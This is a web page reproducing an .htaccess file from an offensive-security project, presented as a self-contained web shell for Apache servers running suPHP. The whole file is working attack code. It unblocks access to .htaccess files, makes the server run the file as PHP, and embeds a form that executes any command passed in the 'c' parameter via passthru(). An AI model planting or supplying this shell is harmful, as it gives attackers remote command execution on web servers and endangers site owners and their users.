Htaccess File

0xBADCA7/htshells/master/shell/mod_suphp.shell.htaccess

ENV, GET
# <!--  Self contained .htaccess web shell - Part of the htshell project
# <!-- Written by Wireghoul - http://www.justanotherhacker.com

# Override default deny rule to make .htaccess file accessible over web
<Files ~ "^.ht">
# Uncomment the line below for Apache2.4 and newer
# Require all granted
    Order allow,deny
    Allow from all
</Files>

# Make .htaccess file be interpreted handled by suPHP file.
# unfortunately susPHP_* directives aren't allowed in .htaccess files
# so this is the only functional approach
AddType application/x-httpd-suphp .htaccess
###### SHELL ###### <?php echo "-->suPHP does not set ENV, so use full path for binaries:<form method='get'><input type='text' name='c' value='".$_GET['c']."'><input type='submit' name='go' value='Go!'></form>n<pre>";passthru($_GET['c']." 2>&1");echo "
"; ?>
Exit mobile version